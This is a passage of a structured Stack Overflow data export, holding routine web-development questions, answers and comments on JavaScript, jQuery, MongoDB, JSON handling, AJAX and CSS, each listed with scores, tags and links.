has body: You can to use the id instead of the screen_name: var stream = T.stream('statuses/filter', { follow : ['123456789', '23456789'] }); stream.on('tweet', function (tweet, err) { console.log(tweet); }) Moreover, you can figure out the id by using a service like http://gettwitterid.com.
score: 6
has comment: http://stackoverflow.com/comment/63535142

http://stackoverflow.com/a/25670157
has body: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE The Number.MIN_VALUE property represents the smallest positive numeric value representable in JavaScript. [...] The MIN_VALUE property is the number closest to 0, not the most negative number, that JavaScript can represent. 5e-325 isn't a negative number. Maybe negative infinity instead? It kind of depends on what you're doing with the result.
score: 1
has comment: http://stackoverflow.com/comment/40223573
accepted answer of: http://stackoverflow.com/q/25669998
answers question: http://stackoverflow.com/q/25669998
upvote count: 2
has comment: http://stackoverflow.com/comment/40116261
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40138484
downvote count: 1
has comment: http://stackoverflow.com/comment/40128912
type: Answer

http://stackoverflow.com/comment/40163968
score: 1
type: QuestionComment
has text: it's a datatype issue. I have to go do something. I'll be back in about 10 min if you haven't figured it out yet. It has to do with your use of `data` in that `$.each`.
type: Comment
comment on: http://stackoverflow.com/q/25695958

http://stackoverflow.com/comment/39922052
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25564167
has text: Problem is, you have to do it for each and every modal, rather than one fire-and-forget.

http://stackoverflow.com/q/25649158
score: -1
has comment: http://stackoverflow.com/comment/40083435
tagged with: forum
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40082765
favorite count: 0
has comment: http://stackoverflow.com/comment/40078099
tagged with: carousel
type: AnsweredQuestion
downvote count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/40082966
has body: I wanna use this carousel : [http://codepen.io/ScottMarshall/pen/FwxpH][1] on a forum, but when I repeat the code, it doesn't work well. Can you help me ? here, it's working, but the second container doesn't want and I don't want to change anything in the HTML... JSFiddle
has answer: http://stackoverflow.com/a/25652340
accepted answer: http://stackoverflow.com/a/25652340
type: Question
has title: carousel javascript several times

http://stackoverflow.com/q/25676165
accepted answer: http://stackoverflow.com/a/25676249
answer count: 2
upvote count: 23
tagged with: javascript
favorite count: 0
has body: Given the following json... var body = "{ \"name\": \"test\", \"description\": \"test json\", \"website\": \"domain.com\" }" ... how do I remove all the white spaces except the ones in the values? I've tried the following regexp... var body = "{ \"name\": \"test\", \"description\": \"test json\", \"website\": \"domain.com\" }".replace(/\r?\n|\r/g, "").replace(/\s+/g, "") ... but it also removes the spaces in the values (i.e. description): {"name":"test","description":"testjson","website":"domain.com"} I need to obtain {"name":"test","description":"test json","website":"domain.com"} Tx.
tagged with: regex
has title: JavaScript: how do I remove all the white spaces from a JSON string except the ones in the values?
has comment: http://stackoverflow.com/comment/40175243
has comment: http://stackoverflow.com/comment/40127145
has comment: http://stackoverflow.com/comment/40127331
downvote count: 0
has comment: http://stackoverflow.com/comment/40127209
score: 23
has comment: http://stackoverflow.com/comment/40127176
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40127071
tagged with: http://stackoverflow.com/tag/json
possible better answer: http://stackoverflow.com/a/25676275
has comment: http://stackoverflow.com/comment/40127137
has answer: http://stackoverflow.com/a/25676275
type: Question
has answer: http://stackoverflow.com/a/25676249

http://stackoverflow.com/comment/39962175
type: Comment
comment on: http://stackoverflow.com/a/25584388
has text: This is very useful, as @aduch mentions this does rely on a specific mathematical distribution, but it's still very cool. I was wondering more about a way to control the weighting, in a more arbitrary way.
type: AnswerComment
score: 0

http://stackoverflow.com/q/25641621
tagged with: jquery
linked to: http://stackoverflow.com/q/14220321
tagged with: ajax
has title: variable would not get the correct value in the ajax-function
has answer: http://stackoverflow.com/a/25641695
has body: I have the following function: function sendDocument( objektnummer, id ) { var url = $( "#objectdata" ).data( "url-send" ); var data = {}; data["objektnummer"] = objektnummer; data["id"] = parseInt(id); var result = false; $.ajax({ type: "POST", url: url, data: data, dataType: "json" }) .done(function(resp){ console.log("send ajax was successfull"); result = true; }) .error(function(resp){ console.log("no connection"); result = false; }); console.log(result); return result; } in the console I got the positive message "send ajax was successful", but when I print the result on the end of the function to the console, I see that the variable result have the value false.
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/14220321
type: Question
has comment: http://stackoverflow.com/comment/40064189
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25641695
score: 0
answer count: 1

http://stackoverflow.com/comment/40084741
has text: This alerted the correct geodata however when I alert `localStorage.latToPost` or `localStorage.lngToPost` outside the if{}..else{}.. it still shows an alert but without the geodata. If that makes sense? Reason being, I want to post the localStorage data via ajax to my web service.
comment on: http://stackoverflow.com/a/25652625
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25589587
has comment: http://stackoverflow.com/comment/39970006
upvote count: 1
has comment: http://stackoverflow.com/comment/39970054
has comment: http://stackoverflow.com/comment/39969801
score: 1
has comment: http://stackoverflow.com/comment/39969640
answers question: http://stackoverflow.com/q/25589512
downvote count: 0
has comment: http://stackoverflow.com/comment/39969902
has comment: http://stackoverflow.com/comment/39970211
has comment: http://stackoverflow.com/comment/39970106
has comment: http://stackoverflow.com/comment/39969701
type: Answer
has body: Yes you are wrong about the ECMAScript spec. Properties retain their order which is why with some drivers for languages ( e.g Perl orders "hashes" by key name by default, use Tie::IxHash to change that) recommend forms that also maintain an order in the structure to be converted. At any rate, this is not "really" JavaScript anyhow, but it is BSON. It is borrowed behavior anyhow so the statement really remains the same. The order you specify is preserved.

http://stackoverflow.com/comment/45220739
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/26613450
has text: Unfortunately, this doesn't seem to work in Firefox, or IE 10 or 11. Here's a JSFiddle: http://jsfiddle.net/3fefqLko/1/. Any thoughts on how to make it work across browsers?

http://stackoverflow.com/comment/39961992
score: 0
type: Comment
type: QuestionComment
has text: When youre scrolling downwards, when the div becomes visible in the viewport
comment on: http://stackoverflow.com/q/25585429

http://stackoverflow.com/a/25681225
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25680713
has body: To stop all gifs from animating you can use the freezeAllGifs() function posted by Makaze in this StackOverflow answer. You should execute it after the page loaded, which should stop all animated gifs. It might not be a great solution, but the only other one I can think of is a server-side script that would download all posted gifs, conver tthem and then replace the original links with urls of the converted files on the local server.

http://stackoverflow.com/comment/40013878
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25613738
has text: The `var totalArray = [value.total]` defines a local variable(destroyed at the end, everytime) `totalArray` for each `$.each` iteration. I don't think that's what you wish to do here

http://stackoverflow.com/q/25612292
has answer: http://stackoverflow.com/a/25612367
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40010970
has comment: http://stackoverflow.com/comment/40010964
score: 0
has answer: http://stackoverflow.com/a/25612606
has comment: http://stackoverflow.com/comment/40010976
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25612367
has body: I have a javascript method function addData(path) { //logic here } and I am calling it as &lt;a id="dataSource" title="Add Data" href="javascript:addData(abc)"&gt; This gives me error [01:23:10.432] ReferenceError: abc is not defined @ javascript:addData(abc):1 Surprisingly it allows me to do something like &lt;a id="dataSource" title="Add Data" href="javascript:addData(123)"&gt; So what should be done here ? I tried doing &lt;a id="dataSource" title="Add Data" href="javascript:addData('abc')"&gt; but it gets converted to &lt;a id="dataSource" title="Add Data" href="javascript:addData(&amp;apos;abc&amp;apos;)"&gt; and then gives me syntax error [01:29:07.212] SyntaxError: syntax error @ javascript:addData(&amp;apos;abc&amp;apos;):1 Using onclick instead of href also has same effect. I want to pass a path to the method which would be something like /package/version/1.0/data
answer count: 4
has answer: http://stackoverflow.com/a/25612482
possible better answer: http://stackoverflow.com/a/25612355
has answer: http://stackoverflow.com/a/25612355
has title: Javascript ReferenceError while passing path
tagged with: anchor
tagged with: href
type: AnsweredQuestion

http://stackoverflow.com/comment/40027469
comment on: http://stackoverflow.com/q/25616190
score: 0
type: Comment
type: QuestionComment
has text: Yes, Can you please give a fiddle or at least a picture ilustrating problem? Cheers

http://stackoverflow.com/q/25695897
has title: Using $in and $and on MONGODB is not working in my case
tagged with: node.js
linked to: http://stackoverflow.com/q/122102
has body: I am using MONGOHQ and NODE.JS to make an application, I would really like the help of someone because I have a big problem, I tried everything and look everywhere, so this is my last option. I have this query on a node JS post: { propertyId: '53f4f097f28c16cf87a15664' } This query is being used here : db.collection('animal').find(req.body.query).toArray(function (err, animals) { res.send( (err === null) ? { status: 'ok', result: animals } : { status: err } ); }); And its working FINE ! Now the problem : What I want is to add another query to the find, without modifying the req.body.query. What I have is a list of _id (not ObjectIds), called myArray, and it's like : [ '12312123' , '78787878' ] So I am doing this : db.collection('animal').find({ $and : [ req.body.query, { '​_id' : { $in : myArray} } ] }).toArray(function (err, animals) { res.send( (err === null) ? { status: 'ok', result: animals } : { status: err } ); }); And its giving me an empty list. But instead, if I do the same query on mongohq like : find({​$and : [ { propertyId: '53f4f097f28c16cf87a15664' }, { '​_id' : { $in :['12312123', '78787878']} } ] }) Its giving me a list with 1 element that matches the criteria: { _id: "12312123", propertyId: "53f4f097f28c16cf87a15664", active: "true" } Does anyone have an idea ? I would be glad to hear ! Thanks Michael
upvote count: 1
has comment: http://stackoverflow.com/comment/40227403
type: Question
has answer: http://stackoverflow.com/a/25730419
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40220808
score: 1
tagged with: mongodb
has comment: http://stackoverflow.com/comment/40227273
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40225055
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25730419
tagged with: express
favorite count: 0
has comment: http://stackoverflow.com/comment/40163570

http://stackoverflow.com/q/25605368
tagged with: php
has comment: http://stackoverflow.com/comment/40011879
has comment: http://stackoverflow.com/comment/39999433
has comment: http://stackoverflow.com/comment/39999149
type: Question
tagged with: javascript
has body: I have a form where you can generate automatically additional form boxes and send them to be handeled at PHP-script. How ever as I am quite lousy with Javascript and I am running in the following problem. When the form is filled out I can see everything is filled out on the URL, except the the boxes created with JS (every box has unique name!). My guess is that the JS generated field drop out of the form tags, but can not figure out how to fix this. I would appreciate if someone could give me pointers or tell me how to fix this. I shortened the code for clarity (if something got left out please tell me). If someone is wondering why I am not using the form action. It´s because drupal tries to forward the site to wrong place if I do (surprise, not too good with drupal either :D) <?php require_once('customer.php'); ?> Sku/ID (oma): Add product Remove product Customer.php <?php if(isset($_GET["sku_1"])) { echo "found it"; } else echo "did not find it"; ?> Any help would be much appreciated!
has title: Send javascript generated texbox values with form(GET) to PHP script
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has answer: http://stackoverflow.com/a/25610655
has comment: http://stackoverflow.com/comment/39999083
type: UnansweredQuestion

http://stackoverflow.com/q/25686365
has answer: http://stackoverflow.com/a/25686456
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25686456
linked to: http://stackoverflow.com/q/2412947
type: Question
score: 0
answer count: 2
has title: Data-attribute retrieval and parsing javascript
has comment: http://stackoverflow.com/comment/40145519
possible better answer: http://stackoverflow.com/a/25686635
has comment: http://stackoverflow.com/comment/40145495
has comment: http://stackoverflow.com/comment/40145347
linked to: http://stackoverflow.com/q/16223786
tagged with: custom-data-attribute
has body: I am new to javascript programming and i am stuck with data-attribute retrieval. The below link is a bit useful for people using jQuery store and retrieve javascript arrays into and from HTML5 data attributes I would like to do the same with vanilla js. With the help of custom data-attributes i would like to create objects &amp; array. &lt;div id="getAnimation" data-r="564" data-c="96" data-custom="x:0;y:0;z:0;rotationX:0;rotationY:0;rotationZ:0;scaleX:0.75;scaleY:0.75; skewX:0;skewY:0;opacity:0;transformPerspective:600;transformOrigin:50% 50%;" data-s="700" data-st="1400" &lt;/div&gt; Do HTML5 custom data attributes “work” in IE 6? The above link helps in getting data attributes very well but how can be filter the string in data-custom or straight create an object of data-custom. If someone know a library to do this please let me know
linked to: http://stackoverflow.com/q/9329446
has answer: http://stackoverflow.com/a/25686635
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40145737
has comment: http://stackoverflow.com/comment/40145166

http://stackoverflow.com/q/25581081
has comment: http://stackoverflow.com/comment/39954347
linked to: http://stackoverflow.com/q/7933062
type: AnsweredQuestion
upvote count: 1
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39954279
tagged with: javascript
has title: Does IE9 support transition CSS3 effects?
has body: I used below code for Page transition effect but that does not support IE9 browser. I must apply that effect in IE9 browser. so, what can i do? -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease;
score: 0
answer count: 1
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25581138
accepted answer: http://stackoverflow.com/a/25581138
tagged with: hammer.js

http://stackoverflow.com/q/25677212
has comment: http://stackoverflow.com/comment/40130180
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40128926
tagged with: php
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40128884
tagged with: javascript
has title: Pdf isn't showing on one server, but when I put it on a different server everything is ok
has body: this is how the PDF looks like on my server that I have uploaded this is the code that I have written for the PDF object but when I upload it on wamp or my friend's online server it works like a charm any idea what causes this? maybe server problems? What would you guys recommend? is there any other way I can insert PDF files without changing the server ?
tagged with: http://stackoverflow.com/tag/pdf
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40132121

http://stackoverflow.com/q/25649735
downvote count: 0
answer count: 1
favorite count: 0
has body: I am trying to dynamically replace the background-image property of a div while maintaining the other background related properties (such as color and gradient) using jQuery's .css() function. So far I can replace the image, but then I lose the other properties. How can I do this without losing the other CSS background properties? CSS .myClass{ width:100px; height:100px; background:url(http://upload.wikimedia.org/wikipedia/commons/b/b9/Hookem_hand.gif) center no-repeat, repeating-linear-gradient(135deg, transparent, transparent 3px, rgb(102, 102, 102) 3px, rgb(102, 102, 102) 6px), linear-gradient(rgb(51, 51, 51), rgb(153, 153, 153)); color:white; text-align:center; } JS/JQuery var elem = $("#changeMe"); var pattern = new RegExp(/url\(https?:[^,]*\)/); var background = elem.css("background"); var replacementImage = "url(http://upload.wikimedia.org/wikipedia/commons/d/d1/Circle-question.png)"; var match = background.match(pattern); console.log(match); var updatedBG = background.replace(pattern,replacementImage); console.log(updatedBG); // elem.css({"background-image":replacementImage}); //this removes the other backgroud css such as gradient and color elem.css({"background":updatedBG}); //this does not have any effect on the div HTML &lt;div class="myClass"&gt; unchanged &lt;/div&gt; &lt;div id="changeMe" class="myClass"&gt; changed &lt;/div&gt; I have a JSFiddle that demonstrates what is happening: http://jsfiddle.net/joedegiovanni/2ns61st9/4/ Is there a way to do this properly so the other background properties are not lost? I am not sure why this doesn't work. Thanks for your help in advance.
tagged with: http://stackoverflow.com/tag/html
tagged with: css
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/25651061
tagged with: background-image
type: Question
has answer: http://stackoverflow.com/a/25651061
tagged with: javascript
tagged with: jquery
has title: How can I use JQuery to replace CSS background image and maintain gradient?
upvote count: 1

http://stackoverflow.com/q/25668191
has answer: http://stackoverflow.com/a/25668396
has title: Change background color back jquery
has answer: http://stackoverflow.com/a/25668240
tagged with: javascript
tagged with: jquery
answer count: 3
tagged with: http://stackoverflow.com/tag/html
tagged with: css
tagged with: asp.net
accepted answer: http://stackoverflow.com/a/25668240
has body: I am writing a webpage and this webpage have a menu that changes its background color while been clicked. I am doing this with jquery. Right now I am just working on the menu itself. However I encountered a problem. My menu item which is in a list does change color after I click on it. But after I click another button I want the previous change to go away without causing a postback. does anyone have a good idea how to do so? here is my code Parent Child Grand Child Child Grand Child Grand Child Great Grand Child Great great Grand Child Great great Grand Child Great Grand Child Great Grand Child Grand Child Parent2 Child and the jquery script to change color I am using asp.net webforms and all the jquery libraries are included already.
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25668257
has answer: http://stackoverflow.com/a/25668257
type: Question
score: 0

http://stackoverflow.com/q/25666150
tagged with: javascript
tagged with: web
tagged with: jquery
favorite count: 0
has body: I currently have a list of useful webpages that I am adding to my web-page. I would like to add a link next to each URL that will add it as a bookmark in the users browser. How can I do this? Further to this, how can I add a "Bookmark all links" button to my page ?
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/5828965
downvote count: 2
has title: How to programmatically add list of web-pages to browser favourites on click?
upvote count: 1
has comment: http://stackoverflow.com/comment/40108460
type: Question
has answer: http://stackoverflow.com/a/25666203
score: -1
accepted answer: http://stackoverflow.com/a/25666203
tagged with: bookmarks
answer count: 1
has comment: http://stackoverflow.com/comment/40108617

http://stackoverflow.com/a/25590727
answers question: http://stackoverflow.com/q/25590682
score: 1
has body: HTML:- &lt;form onsubmit="return validation()"&gt; ..... &lt;/form&gt; JavasScript:- &lt;script&gt; function validation() { var isValid = true; //perform your validation on form and update isValid variable accordingly. if(isValid) { window.location = ''; // your desired location } return false; // always return false to prevent form from submission. } &lt;/script&gt;
upvote count: 1
downvote count: 0
type: Answer

http://stackoverflow.com/comment/40033081
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25624239
type: Comment
has text: Well, What plugin I have to include?

http://stackoverflow.com/q/25666735
has comment: http://stackoverflow.com/comment/40109771
favorite count: 0
duplicate of: http://stackoverflow.com/q/3076414
answer count: 0
type: UnansweredQuestion
has body: There are several questions regarding this topic, but I cannot seem to find one that works for me. So far I am doing this: load() { var url1 = "http://tourify.herokuapp.com/json/?lat=51.4346644&amp;lng=-0.1020241&amp;address=15%20Chestnut%20Road,%20West%20Norwood,%20London%20SE27%209EZ,%20UK"; // call the web server asynchronously var request1 = HttpRequest.getString(url1).then(display); } Here is the other function: display(String responseText) { String jsonString = responseText; window.alert(jsonString); } I get this error: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:8081' is therefore not allowed access. Exception: Uncaught Error: Instance of '_XMLHttpRequestProgressEvent' Is there an easy way to just open the connection for anywhere? Thanks, Luca
linked to: http://stackoverflow.com/q/3076414
tagged with: http
has comment: http://stackoverflow.com/comment/40109886
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40109938
has comment: http://stackoverflow.com/comment/40109968
has comment: http://stackoverflow.com/comment/40109700
type: Question
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40109847
has comment: http://stackoverflow.com/comment/40109956
upvote count: 1
tagged with: dart
downvote count: 1
has title: HTTP Request in Dart No 'Access-Control-Allow-Origin'

http://stackoverflow.com/q/25707671
answer count: 2
tagged with: javascript
has body: What scope is a function defined inside an angular js controller, part of? .controller('MyCtrl', ['$scope', '$location', function($scope, $location) { function log() { console.log('Vanakkam Ulagam'); } var functionToCall = 'log'; ????????[functionToCall](); }]) I tried MyCtrl, this and $window. I can access the function by namespacing it like so functions.print = function() and then using functions[functionToCall](). I am more interested in accessing the function without namespacing it. Is it possible? If not, why?
has title: Scope of a function inside an Angular JS Controller
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25707731
has answer: http://stackoverflow.com/a/25707970
tagged with: angularjs
type: UnansweredQuestion
downvote count: 0
score: 1
type: Question

http://stackoverflow.com/q/25709535
has comment: http://stackoverflow.com/comment/40190372
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40188074
has comment: http://stackoverflow.com/comment/40190432
answer count: 0
upvote count: 3
type: UnansweredQuestion
tagged with: emoji
has comment: http://stackoverflow.com/comment/40188070
has body: It appears that a user entering emoji into an HTML &lt;textarea&gt; is causing the closing JSON } to be lost somewhere on the line when transferred to a server using a jquery ajax form (and a multipart form post). Has anyone ever seen something like this happen, or have some other explanation that might cause the effect? (We have been testing thousands of objects and this is the first one to fail) Edit 1: The indentation of the JSON was created by JSON.stringify implying it was a valid JSON object when created. Edit 2: Here is the JSON object, and stringified version in question, it appears as though the loss may appear on it's way to S3 via Knox/NodeJS. Edit 3: Original characters entered: ðŸ˜œ object { url: 'foobarurl', uqid: 'foobaruqid', message_id: '9005789165956076.4317795615643263', author: 'guest', created: 1410088784916, message: 'Ã°Å¸ËœÅ“' } stringified { "url": "foobarurl", "uqid": "foobaruqid", "message_id": "9005789165956076.4317795615643263", "author": "guest", "created": 1410088784916, "message": "Ã°Å¸ËœÅ“" }
type: Question
score: 3
has comment: http://stackoverflow.com/comment/40188327
has comment: http://stackoverflow.com/comment/111435641
has comment: http://stackoverflow.com/comment/40190457
tagged with: http://stackoverflow.com/tag/json
has title: Did Emoji Break My JSON?
downvote count: 0
has comment: http://stackoverflow.com/comment/40190579
has comment: http://stackoverflow.com/comment/40188256
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25551724
favorite count: 0
has answer: http://stackoverflow.com/a/25551907
tagged with: radiobuttonlist
has comment: http://stackoverflow.com/comment/39898763
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25551910
possible better answer: http://stackoverflow.com/a/25551907
upvote count: 2
has title: How do I summarize the total number of radio button selection values (Letters, and not numbers)?
downvote count: 1
type: AnsweredQuestion
has body: I would like to be able to have my form selection choices (radio buttons) added up at the end of a questionnaire in a HTML form, to give me a summary of all the answers with a total number displayed per choice. In other words, there are 10 questions, each with a possible answer of A, B, C or D. At the end of the form, I would like the user to be able to see how many A's they answered, how many B's etc. Here is what I've been able to put together so far... &lt;input name="Q1" type="radio" value="A" /&gt;A. &lt;input name="Q1" type="radio" value="B" /&gt;B. &lt;input name="Q1" type="radio" value="C" /&gt;C. &lt;input name="Q1" type="radio" value="D" /&gt;D. &lt;input name="Q2" type="radio" value="A" /&gt;A. &lt;input name="Q2" type="radio" value="B" /&gt;B. &lt;input name="Q2" type="radio" value="C" /&gt;C. &lt;input name="Q2" type="radio" value="D" /&gt;D. My Script: $(document).ready(function() { $("#radio_submit").click(function (e) { var checked_Q1_radio = $('input:radio[name=Q1]:checked').val(); var checked_Q2_radio = $('input:radio[name=Q2]:checked').val(); if(checked_Q1_radio===undefined || checked_Q2_radio===undefined) { alert('Please answer all the questions'); }else{ alert('Question 1. - "' +checked_Q1_radio + '"'+'Question 2. - "' +checked_Q2_radio + '"'); } }); }); This gives me an alert window, and shows a summary of my answers, which is ok. But I still can't figure out how to display the total of the different choices as I described above - because the research I've done has only lead me to examples where number values are added up, which won't work in my case. Am I looking at the problem from the wrong angle? If it's not possible, how could I then: Separate (line break) the 2 results in my alert message? What will work instead of the '+'? I have tried '\n' and '%n' but obviously my formatting is incorrect. What would work instead? It takes much longer now to load the page, is there a reason for that? Thanks for the assistance- I really hope to be up to …
score: 1
has answer: http://stackoverflow.com/a/25551899
has comment: http://stackoverflow.com/comment/39898736
has answer: http://stackoverflow.com/a/25551910
type: Question
answer count: 3
has comment: http://stackoverflow.com/comment/39898606
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/39916306
type: Comment
type: QuestionComment
has text: To be clear, are these variables `me1 , other2, ...` shared between these different IP's?
comment on: http://stackoverflow.com/q/25560793
score: 0

http://stackoverflow.com/a/25557187
answers question: http://stackoverflow.com/q/25557112
has comment: http://stackoverflow.com/comment/39909728
score: 2
accepted answer of: http://stackoverflow.com/q/25557112
has body: Check the browser compatability mode when your running in production it's probally on IE8. You can use obj.getElementsByTagName("*") You could also add an All method to the prototype if it's not there.
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39910456
upvote count: 2
type: Answer

http://stackoverflow.com/comment/39986786
type: AnswerComment
comment on: http://stackoverflow.com/a/25598991
has text: @arun `/(@[^\s$])/` will only replace one character. It should have a '+'. like: `/(@[^\s]+)/` or `/(@[^\s$]+)/`
type: Comment
score: 1

http://stackoverflow.com/comment/40081805
score: 1
has text: You should study the basics of the language you are using. Then when you run into a problem, come here. Do research first. Here is the documentation: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for
comment on: http://stackoverflow.com/q/25651101
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/105814184
type: AnswerComment
type: Comment
score: 0
has text: So looks like I didn't respond in a long time and was a bit confused myself. My comment for justification went under the original post for some reason at the time: "I have accepted Moob's solution as it fits perfectly into the problem scenario and actually improves the situation by removing the necessity to have quotes around values"
comment on: http://stackoverflow.com/a/25663729

http://stackoverflow.com/a/25650207
score: 1
has body: Use parseFloat() on the numbers you're getting with document.getElementById('...').value: //To get #t1_potensi function hitungT1() { var kecKm = parseFloat(document.getElementById('kecepatan_air').value); var d1 = parseFloat(document.getElementById('jarak1').value); var result = document.getElementById('t1_potensi'); //convert Km/jam to mph var kecMph = Math.round(kecKm * 0.621371192); //convert liter to miles var d1Miles = d1 * 0.621371192; var x = 60 / kecMph; var kali = x.toFixed(1) * d1Miles.toFixed(2); var hasil = 0.65 + kali; result.value = hasil.toFixed(2); } //To get #t2_potensi function hitungT2() { var kecKm = parseFloat(document.getElementById('kecepatan_back').value); var d2 = parseFloat(document.getElementById('jarak2').value); var result = document.getElementById('t2_potensi'); //convert Km/jam to mph var kecMph = Math.round(kecKm * 0.621371192); //convert liter to miles var d1Miles = d2 * 0.621371192; var x = 60 / kecMph; var kali = x.toFixed(1) * d1Miles.toFixed(2); var hasil = 0.65 + kali; result.value = hasil.toFixed(2); } //To get #aliran function hitung() { var vol = parseFloat(document.getElementById('v_potensi').value); var a = parseFloat(document.getElementById('a_potensi').value); var b = parseFloat(document.getElementById('b_potensi').value); var t1 = parseFloat(document.getElementById('t1_potensi').value); var t2 = parseFloat(document.getElementById('t2_potensi').value); var hasil = document.getElementById('aliran'); //convert liter to galon var galon = Math.round(vol * 0.264172051); var sumT = t1 + t2; var sum = a + sumT + b; var dev = galon / sum; var result = Math.round(dev - 0.1); hasil.value = result; } Also, it's a bit tricky to me why you call the hitung() function only after editing one of the first three text boxes. Why not call all three functions every time any field is changed? Wouldn't that be better? Up to you. Also, after you've placed parseFloat calls like above, please use console.log(string or variable to log), e.g. consol…
downvote count: 0
answers question: http://stackoverflow.com/q/25649712
type: Answer
upvote count: 1

chart.js
tags question: http://stackoverflow.com/q/25563946
type: Tag
tags question: http://stackoverflow.com/q/25633262
tag name: chart.js
tags question: http://stackoverflow.com/q/25594478
tags question: http://stackoverflow.com/q/25668535
tags question: http://stackoverflow.com/q/25597304
tags question: http://stackoverflow.com/q/25570373

http://stackoverflow.com/q/25688211
score: 0
has comment: http://stackoverflow.com/comment/40264264
answer count: 2
has answer: http://stackoverflow.com/a/25770892
has title: Tablesorter with unknown # of columns
tagged with: jquery
has comment: http://stackoverflow.com/comment/40217376
has answer: http://stackoverflow.com/a/25688471
has comment: http://stackoverflow.com/comment/40217354
has comment: http://stackoverflow.com/comment/40263366
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40263766
has comment: http://stackoverflow.com/comment/40262252
tagged with: tablesorter
type: Question
possible better answer: http://stackoverflow.com/a/25688471
has comment: http://stackoverflow.com/comment/40218957
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25770892
has body: I am working with tablesorter and am building a header with the following code: table.push([' ', ' Model ', ' ' + ColumnNo[3] + ' ', ' ' + ColumnNo[4] + ColumnUnit[4] + ' ', ' ' + ColumnNo[5] + ColumnUnit[5] + ' ', ' ' + ColumnNo[6] + ColumnUnit[6] + ' ', ' ' + ColumnNo[7] + ColumnUnit[7] + ' ', ' ' + ColumnNo[8] + ColumnUnit[8] + ' ', ' ' + ColumnNo[9] + ColumnUnit[9] + ' ', ' ' + ColumnNo[10] + ColumnUnit[10] + ' ', ' ' + ColumnNo[11] + ColumnUnit[11] + ' ', ' ' + ColumnNo[12] + ColumnUnit[12] + ' ', ' ' + ColumnNo[13] + ColumnUnit[13] + ' ', ' ' + ColumnNo[14] + ColumnUnit[14] + ' ', ' ' + ColumnNo[15] + ColumnUnit[15] + ' ', ' ' + ColumnNo[16] + ColumnUnit[16] + ' ', ' ' + ColumnNo[17] + ColumnUnit[17] + ' ']); This works like a charm, however, I have no way of knowing how many columns will be needed ahead of time, so I need to build the array 'table' dynamically. Here is what I have come up with for that: var tableHeaderVar = []; tableHeaderVar.push([' ']); tableHeaderVar.push([' Model ']); if (ColumnWidth[3] != 0) { tableHeaderVar.push([' ' + ColumnNo[3] + ' ']); }; if (ColumnWidth[4] != 0) { tableHeaderVar.push([' ' + ColumnNo[4] + ColumnUnit[4] + ' ']); }; . . . table.push([tableHeaderVar]); Basically, this checks the set width, which will be 0 if no column is selected. Then, checks the widths for each column to decide whether the column gets included in the array. This code will build the header vertically down the left side of the table, rather than across the top. I captured the output for both methods and used Beyond Compare to compare them. They are compared as "Binary Same", which should mean they are absolutely identical. First I tried using individual table.push statements, but the results were about the same. I thought maybe the header (and table data) needed to be pushed as a group, so I decided to use one array variable (tableHeaderVar) to build the HTML and then push it all to table at once. Unfortunately, something seems to be not quite right wi…
has comment: http://stackoverflow.com/comment/40267483
has comment: http://stackoverflow.com/comment/40162747

http://stackoverflow.com/comment/40120742
has text: You're replacing the `a` element that you put the click handler on, so the `click` event will never fire again because the array in the javascript is static.
type: Comment
type: QuestionComment
score: 6
comment on: http://stackoverflow.com/q/25672866

http://stackoverflow.com/a/25708568
